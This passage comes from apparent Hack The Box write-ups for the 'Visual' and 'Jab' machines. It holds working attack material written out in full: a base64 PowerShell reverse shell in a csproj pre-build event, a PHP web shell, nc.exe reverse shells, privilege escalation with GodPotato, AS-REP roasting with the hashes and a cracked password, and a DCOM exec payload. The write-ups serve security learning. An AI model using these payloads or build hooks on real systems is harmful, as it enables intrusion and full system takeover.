    <PreBuildEvent>powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQA0ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=</PreBuildEvent>
  </PropertyGroup>

</Project>

I added and committed the changes, then pushed the updated code to Gitea:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git add . 

┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git commit -m "adding pre-build event to csproj"
[main 185e8b2] adding pre-build event to csproj
 1 file changed, 1 insertion(+)

┌──(kali㉿kali)-[~/Desktop/HTB/Visual/TestProject]
└─$ git push -u origin main
Username for 'http://127.0.0.1:3000': test
Password for 'http://test@127.0.0.1:3000': 
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 4 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 1018 bytes | 1018.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://127.0.0.1:3000/test/TestProject.git
   e80ab55..185e8b2  main -> main
branch 'main' set up to track 'origin/main'.

I started a listener with nc and submitted the repo again to Visual. Soon after that, nc caught a shell as enox:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.54] from (UNKNOWN) [10.10.11.234] 49675

PS C:\xampp\htdocs\uploads\2cc55e6d3f5ffc99c6df152cbb9d4f> whoami
visual\enox
PS C:\xampp\htdocs\uploads\2cc55e6d3f5ffc99c6df152cbb9d4f> cd /users/enox/desktop
PS C:\users\enox\desktop> ls


    Directory: C:\users\enox\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/31/2024   4:14 AM             34 user.txt

While enumerating the machine, I found that enox had write permission in the web root:

PS C:\xampp\htdocs> icacls c:\xampp\htdocs
c:\xampp\htdocs Everyone:(OI)(CI)(F)
                Everyone:(I)(OI)(CI)(F)
                NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                BUILTIN\Administrators:(I)(OI)(CI)(F)
                BUILTIN\Users:(I)(OI)(CI)(RX)
                BUILTIN\Users:(I)(CI)(AD)
                BUILTIN\Users:(I)(CI)(WD)
                CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

So I downloaded the following PHP web shell to see if the web server was running as another user:

<?php system($_REQUEST[0]); ?>

PS C:\xampp\htdocs> wget 10.10.14.54:8000/shell.php -o shell.php
PS C:\xampp\htdocs> ls


    Directory: C:\xampp\htdocs


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/10/2023  10:32 AM                assets
d-----        6/10/2023  10:32 AM                css   
d-----        6/10/2023  10:32 AM                js    
d-----        7/31/2024   5:21 AM                uploads
-a----        6/10/2023   6:20 PM           7534 index.php
-a----        7/31/2024   5:25 AM             31 shell.php
-a----        6/10/2023   4:17 PM           1554 submit.php
-a----        6/10/2023   4:11 PM           4970 vs_status.php

The web server was running as nt authority\local service:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ curl http://10.10.11.234/shell.php?0=whoami
nt authority\local service

To get a reverse shell as nt authority\local service, I downloaded nc.exe:

PS C:\xampp\htdocs> wget 10.10.14.54:8000/nc.exe -o nc.exe
PS C:\xampp\htdocs> ls


    Directory: C:\xampp\htdocs


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/10/2023  10:32 AM                assets
d-----        6/10/2023  10:32 AM                css
d-----        6/10/2023  10:32 AM                js    
d-----        7/31/2024   5:21 AM                uploads
-a----        6/10/2023   6:20 PM           7534 index.php
-a----        7/31/2024   5:29 AM          59392 nc.exe
-a----        7/31/2024   5:25 AM             31 shell.php
-a----        6/10/2023   4:17 PM           1554 submit.php
-a----        6/10/2023   4:11 PM           4970 vs_status.php

I started a listener and sent the shell:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ curl http://10.10.11.234/shell.php?0=nc.exe%2010.10.14.54%20443%20-e%20cmd

nc caught a shell as local service:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ nc -lvnp 443                             
listening on [any] 443 ...
connect to [10.10.14.54] from (UNKNOWN) [10.10.11.234] 49678
Microsoft Windows [Version 10.0.17763.4840]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs>whoami
whoami
nt authority\local service

The local service account typically has a default set of privileges, such as SeChangeNotify, SeImpersonate, SeCreateGlobal, and others. In this instance, the account was configured to run with a restricted set of privileges:

C:\xampp\htdocs>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

The FullPowers tool can be used to restore default privileges for a service account, such as SeImpersonate.

In C:\programdata, I downloaded FullPowers.exe:

PS C:\programdata> wget 10.10.14.54:8000/FullPowers.exe -o FullPowers.exe
wget 10.10.14.54:8000/FullPowers.exe -o FullPowers.exe
PS C:\programdata> ls
ls


    Directory: C:\programdata


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/10/2023  10:56 AM                chocolatey
d-----        6/10/2023  10:56 AM                ChocolateyHttpCache
d---s-        6/10/2023  10:40 AM                Microsoft
d-----        6/10/2023  10:35 AM                Microsoft Visual Studio
d-----        7/31/2024   4:13 AM                Package Cache
d-----        9/19/2023   4:12 AM                regid.1991-06.com.microsoft
d-----        9/15/2018  12:19 AM                SoftwareDistribution
d-----        11/5/2022  12:03 PM                ssh
d-----        9/15/2018  12:19 AM                USOPrivate
d-----        11/5/2022  12:03 PM                USOShared
d-----        6/10/2023  10:09 AM                VMware
-a----        7/31/2024   5:35 AM          36864 FullPowers.exe

After running .\FullPowers.exe, I had several more privileges, including SeImpersonate:

PS C:\programdata> .\FullPowers.exe
.\FullPowers.exe
[+] Started dummy thread with id 3948
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /priv 
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

SeImpersonate can be leveraged to get a system shell with GodPotato. I used certutil to download GodPotato-NET4.exe in C:\programdata:

PS C:\programdata> certutil -urlcache -split -f "http://10.10.14.54:8000/GodPotato-NET4.exe" GodPotato-NET4.exe
certutil -urlcache -split -f "http://10.10.14.54:8000/GodPotato-NET4.exe" GodPotato-NET4.exe
****  Online  ****
  0000  ...
  e000
CertUtil: -URLCache command completed successfully.
PS C:\programdata> ls
ls


    Directory: C:\programdata


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/10/2023  10:56 AM                chocolatey
d-----        6/10/2023  10:56 AM                ChocolateyHttpCache
d---s-        6/10/2023  10:40 AM                Microsoft
d-----        6/10/2023  10:35 AM                Microsoft Visual Studio
d-----        7/31/2024   4:13 AM                Package Cache
d-----        9/19/2023   4:12 AM                regid.1991-06.com.microsoft
d-----        9/15/2018  12:19 AM                SoftwareDistribution
d-----        11/5/2022  12:03 PM                ssh
d-----        9/15/2018  12:19 AM                USOPrivate
d-----        11/5/2022  12:03 PM                USOShared
d-----        6/10/2023  10:09 AM                VMware
-a----        7/31/2024   5:35 AM          36864 FullPowers.exe
-a----        7/31/2024   5:40 AM          57344 GodPotato-NET4.exe

Then, I started a listener and used GodPotato-NET4.exe to send a shell with nc.exe:

PS C:\programdata> .\GodPotato-NET4.exe -cmd "C:\xampp\htdocs\nc.exe 10.10.14.54 443 -e cmd"
.\GodPotato-NET4.exe -cmd "C:\xampp\htdocs\nc.exe 10.10.14.54 443 -e cmd"
[*] CombaseModule: 0x140703164530688
[*] DispatchTable: 0x140703166836848
[*] UseProtseqFunction: 0x140703166213024
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\e19ea1e7-42ef-4b71-853d-7a4d7cf79df4\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00000802-1394-ffff-bce2-99ce67792573
[*] DCOM obj OXID: 0x7bd8eac39a8987b8
[*] DCOM obj OID: 0xc18bfa90e57fc150
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 872 Token:0x812  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2356

nc caught a shell as nt authority\system:

┌──(kali㉿kali)-[~/Desktop/HTB/Visual]
└─$ nc -lvnp 443                             
listening on [any] 443 ...
connect to [10.10.14.54] from (UNKNOWN) [10.10.11.234] 49686
Microsoft Windows [Version 10.0.17763.4840]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\programdata>whoami
whoami
nt authority\system

C:\programdata>cd /users/administrator/desktop
cd /users/administrator/desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 82EF-5600

 Directory of C:\Users\Administrator\Desktop

09/19/2023  08:20 AM    <DIR>          .
09/19/2023  08:20 AM    <DIR>          ..
07/31/2024  04:14 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   9,662,550,016 bytes free

Hack The Box - Jab

Sat, 27 Jul 2024 00:00:00 GMT

Jab is a Windows machine running Active Directory with an XMPP server that allows open registration. Once an account has been created, a list of domain users can be retrieved and then used to run an AS-REP roast attack which results in obtaining hashes for three users. One of the hashes (jmontgomery) can be cracked, providing access to another chat room on the XMPP server that contains the credentials for the svc_openfire user. Enumeration with BloodHound reveals that svc_openfire has DCOM privileges on the DC, this can be leveraged to obtain a shell. Further enumeration of the machine can lead to the discovery of an Openfire configuration file used for local admin console access. After setting up a tunnel, the admin console can be accessed and used to upload a malicious plugin that enables command execution as nt authority\system.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Jab]
└─$ nmap -p- -sC -sV -oA nmap/output 10.10.11.4                   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-19 14:59 EDT
Nmap scan report for 10.10.11.4
Host is up (0.049s latency).
Not shown: 65503 closed tcp ports (conn-refused)
<...snip...>
┌──(kali㉿kali)-[~/Desktop/HTB/Jab]
└─$ awk '/^PORT|[0-9]+\/tcp/ {print $0}' nmap/output.nmap               
PORT      STATE SERVICE             VERSION
53/tcp    open  domain?
88/tcp    open  kerberos-sec        Microsoft Windows Kerberos (server time: 2024-07-19 19:00:29Z)
135/tcp   open  msrpc               Microsoft Windows RPC
139/tcp   open  netbios-ssn         Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http          Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap                Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap            Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
5222/tcp  open  jabber              Ignite Realtime Openfire Jabber server 3.10.0 or later
5223/tcp  open  ssl/jabber          Ignite Realtime Openfire Jabber server 3.10.0 or later
5262/tcp  open  jabber              Ignite Realtime Openfire Jabber server 3.10.0 or later
5263/tcp  open  ssl/jabber
5269/tcp  open  xmpp                Wildfire XMPP Client
5270/tcp  open  ssl/xmpp            Wildfire XMPP Client
5275/tcp  open  jabber
5276/tcp  open  ssl/jabber
5985/tcp  open  http                Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7070/tcp  open  realserver?
7443/tcp  open  ssl/oracleas-https?
7777/tcp  open  socks5              (No authentication; connection not allowed by ruleset)
9389/tcp  open  mc-nmf              .NET Message Framing
47001/tcp open  http                Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc               Microsoft Windows RPC
49665/tcp open  msrpc               Microsoft Windows RPC
49666/tcp open  msrpc               Microsoft Windows RPC
49667/tcp open  msrpc               Microsoft Windows RPC
49673/tcp open  msrpc               Microsoft Windows RPC
49690/tcp open  ncacn_http          Microsoft Windows RPC over HTTP 1.0
49691/tcp open  msrpc               Microsoft Windows RPC
49692/tcp open  msrpc               Microsoft Windows RPC
49697/tcp open  msrpc               Microsoft Windows RPC

Notable open ports:

53 (DNS)
88 (Kerberos)
135, 445 (SMB)
135, 593 (MSRPC)
3268 (LDAP)
3269 (LDAPS)
5222, 5262, 5275 (Jabber)
5223, 5263, 5276 (SSL/Jabber)
5269 (XMPP)
5270 (SSL/XMPP)
5985 (WinRM)
7070, 7443 (Openfire)
7777 (socks5)

Active Directory:

domain: jab.htb
hostname: DC01

Attempting to list shares with anonymous logon resulted in an access denied error:

┌──(kali㉿kali)-[~/Desktop/HTB/Jab]
└─$ netexec smb 10.10.11.4 -u '' -p '' --shares
SMB         10.10.11.4      445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.4      445    DC01             [+] jab.htb\: 
SMB         10.10.11.4      445    DC01             [-] Error enumerating shares: STATUS_ACCESS_DENIED

So next, I looked at the XMPP (Extensible Messaging and Presence Protocol) server. An overview of XMPP as stated on the XMPP site:

XMPP is the Extensible Messaging and Presence Protocol, a set of open technologies for instant messaging, presence, multi-party chat, voice and video calls, collaboration, lightweight middleware, content syndication, and generalized routing of XML data.

To connect to the server, I used Pidgin:

I clicked Add... and specified the following options:

After adding the user, I was asked to accept a TLS certificate:

I accepted the certificate and was then prompted to register the user:

After clicking OK, a message was shown confirming successful registration:

Next, I went to Tools → Room List:

Then, after clicking Get List, the dialog box was pre-populated with conference.jab.htb:

I clicked Find Rooms and the following rooms were listed:

Attempting to join test resulted in an error:

I was able to join test2, but it didn't contain anything useful:

To enumerate users, I went to Accounts → test@jab.htb/ (XMPP) → Search for Users...:

The dialogue box to select a user directory was pre-populated with search.jab.htb:

I clicked Search Directory and entered the wildcard character (*) into the search field:

This resulted in a list of all users:

I needed a way to extract these names into a text file, so I went to Tools → Plugins to look for any useful plugins and found XMPP Console which can be used to send and receive raw XMPP stanzas:

After enabling the plugin, it showed up in the Tools tab:

XMPP console:

The XMPP documentation here shows how to search an information repository.

I sent the following search request using the wildcard (*) character to return all users:

<iq type='set'
    from='test@jab.htb'
    to='search.jab.htb'
    id='search1'
    xml:lang='en'>
  <query xmlns='jabber:iq:search'>
    <last>*</last>
  </query>
</iq>

This resulted in a full list of users in XML format:

I copied the search results and then extracted just the usernames:

┌──(kali㉿kali)-[~/Desktop/HTB/Jab]
└─$ awk -F"'" '/jid=/ {split($2, a, "@"); print a[1]}' pidgin-users.xml > users

┌──(kali㉿kali)-[~/Desktop/HTB/Jab]
└─$ cat users
lmccarty
nenglert
aslater
rtruelove
pwoodland
pparodi
mhernandez
atorres
apugh
lray
<...snip...>

With the users list, I ran an AS-REP roast attack and obtained hashes for three users:

┌──(kali㉿kali)-[~/Desktop/HTB/Jab]
└─$ impacket-GetNPUsers jab.htb/ -dc-ip 10.10.11.4 -usersfile users -outputfile asrep_hashes

<...snip...>
$krb5asrep$23$jmontgomery@JAB.HTB:4a636ac76c023ab801d80e135987b6b9$1208fb2dd0696d2987180fa5cae2bccc24afd7251760643b13528c1bea15b4e3aa843b72ea35bbacc99b6f0f54f848c06938f5bcd3d11fcb1eaa0e94980b132752337c5e5e3d13f320425fa67b2cc1a741d4d34a9ca13bdfb26cada0f51cb72604522818d8e5a5982bc19ea11a070a4b92f37fee4fc2904d14decf0b1f366b568638dfa128256ba3ac8f1f677acf8573d0244d4bedc6f16b24a41de1f041110d93921ed7637a7ce83f86c7dee666fff77cdc5ebf7c9cfad80e3e2c514fa6a62f252dd4af5913e46750de558782a6e2f28aa27ecc255700e93eaf152e8ede71237134
<...snip...>
$krb5asrep$23$lbradford@JAB.HTB:a716122b9b9c5fcb986325f365934808$ccb6e23df76d3c15449870ad1766a8d2c4ba31d93ab37ba88893211a1b69a82f60b1d747d02776d38b56e1e86a9725097c2925daaa398517d4d45ea2f2b4b98a02f036710ba46a9803fb136b1815672028b987badcc329d5a2cf1a950ac4755aa0b3373f3b37b0d0ff55b8259434996fbd487ab1fac1420d930523e7c7d5fdb8d6a433a5a5b89251bd1dfb3bb10ef2a663f004faaea5069303920a80c1841f0fb981a57221c02c30249f77743e57e9a90bfc540298f13de61238f98901ec373dd042354d20d40fbdf6fe7c4d81e487fb64693c564151fa5eaa7573f96c52201f56e5
<...snip...>
$krb5asrep$23$mlowe@JAB.HTB:7445c84379e8ad9ef3a1f0820fac5333$aed2edd49ac08255e89f25b56c58151ef39d11fc7b79f2f806d35f66fcf04e5da36b25af9e84b4af38e6c7f06709b7bf3e50597f7c49d80f2476f09d9351a37b3fbc295e79befe2ab2235dfdb47ea849307534fbc14f11e26f80d1b3614d2225cd6f93b2d8d91eb08c58b9f973ee6988f124b75fdc3ef907be5e28b22b40c731f64189153aa8be012207a913945db0802f27a9a5a194d1ae23b8d73cec36757d5e89be212da5051c2279a1f83fc6dba73483b117549ec0786397dc82d7f5b384ab8fa451723c0c327ba739ea6b51cb7019c8da17e5564c66d14e01cab41e41463d06
<...snip...>

hashcat successfully cracked the password for one of the users, jmontgomery:

┌──(kali㉿kali)-[~/Desktop/HTB/Jab]
└─$ hashcat -m 18200 asrep_hashes /usr/share/wordlists/rockyou.txt

<...snip...>

$krb5asrep$23$jmontgomery@JAB.HTB:4a636ac76c023ab801d80e135987b6b9$1208fb2dd0696d2987180fa5cae2bccc24afd7251760643b13528c1bea15b4e3aa843b72ea35bbacc99b6f0f54f848c06938f5bcd3d11fcb1eaa0e94980b132752337c5e5e3d13f320425fa67b2cc1a741d4d34a9ca13bdfb26cada0f51cb72604522818d8e5a5982bc19ea11a070a4b92f37fee4fc2904d14decf0b1f366b568638dfa128256ba3ac8f1f677acf8573d0244d4bedc6f16b24a41de1f041110d93921ed7637a7ce83f86c7dee666fff77cdc5ebf7c9cfad80e3e2c514fa6a62f252dd4af5913e46750de558782a6e2f28aa27ecc255700e93eaf152e8ede71237134:Midnight_121

<...snip...>

The user didn't have access to any interesting shares:

┌──(kali㉿kali)-[~/Desktop/HTB/Jab]
└─$ netexec smb 10.10.11.4 -u 'jmontgomery' -p 'Midnight_121' --shares
SMB         10.10.11.4      445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.4      445    DC01             [+] jab.htb\jmontgomery:Midnight_121
SMB         10.10.11.4      445    DC01             [*] Enumerated shares
SMB         10.10.11.4      445    DC01             Share           Permissions     Remark
SMB         10.10.11.4      445    DC01             -----           -----------     ------
SMB         10.10.11.4      445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.4      445    DC01             C$                              Default share
SMB         10.10.11.4      445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.4      445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.4      445    DC01             SYSVOL          READ            Logon server share

No WinRM access either:

┌──(kali㉿kali)-[~/Desktop/HTB/Jab]
└─$ netexec winrm 10.10.11.4 -u 'jmontgomery' -p 'Midnight_121' 
WINRM       10.10.11.4      5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:jab.htb)
WINRM       10.10.11.4      5985   DC01             [-] jab.htb\jmontgomery:Midnight_121

Next, I added jmontgomery to Pidgin:

To check if the user had access to any more chat rooms, I went to Tools → Room List, and clicked Get List for the jmontgomery account.

jmontgomery had access to another room, pentest2003:

I joined pentest2003 which was a conversation discussing a pentest. In particular, commands were posted related to a finding about a kerberoastable account, svc_openfire:

The svc_openfire account was successfully kerberoasted to reveal the plaintext password:

With the credentials for svc_openfire, I used netexec to collect BloodHound data:

┌──(kali㉿kali)-[~/Desktop/HTB/Jab]
└─$ netexec ldap 10.10.11.4 -u 'svc_openfire' -p '!@#$%^&*(1qazxsw' --bloodhound --collection all --dns-server 10.10.11.4
SMB         10.10.11.4      445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:False)
LDAPS       10.10.11.4      636    DC01             [+] jab.htb\svc_openfire:!@#$%^&*(1qazxsw
LDAPS       10.10.11.4      636    DC01             Resolved collection methods: acl, objectprops, container, group, trusts, dcom, psremote, localadmin, rdp, session
LDAP        10.10.11.4      389    DC01             Done in 02M 58S
LDAPS       10.10.11.4      636    DC01             Compressing output into /home/kali/.nxc/logs/DC01_10.10.11.4_2024-07-19_202828_bloodhound.zip

In BloodHound, viewing First Degree DCOM Privileges for svc_openfire showed that the user had ExecuteDCOM on dc01.jab.htb:

DCOM privileges can allow a user to execute commands on a remote machine by creating a COM object and calling its methods. So, to obtain a reverse shell, I took the PowerShell #3 (Base64) command from revshells:

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

Then, after starting a listener with Netcat, I used impacket-dcomexec and specified the DCOM object MMC20 (Management Console 2.0) to send the shell:

┌──(kali㉿kali)-[~/Desktop/HTB/Jab]
└─$ impacket-dcomexec -object MMC20 -silentcommand jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'
Impacket v0.11.0 - Copyright 2023 Fortra

nc caught a shell as svc_openfire:

┌──(kali㉿kali)-[~/Desktop/HTB/Jab]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.4] 62959

PS C:\windows\system32> whoami
jab\svc_openfire
PS C:\windows\system32> cd /users/svc_openfire/desktop
PS C:\users\svc_openfire\desktop> ls


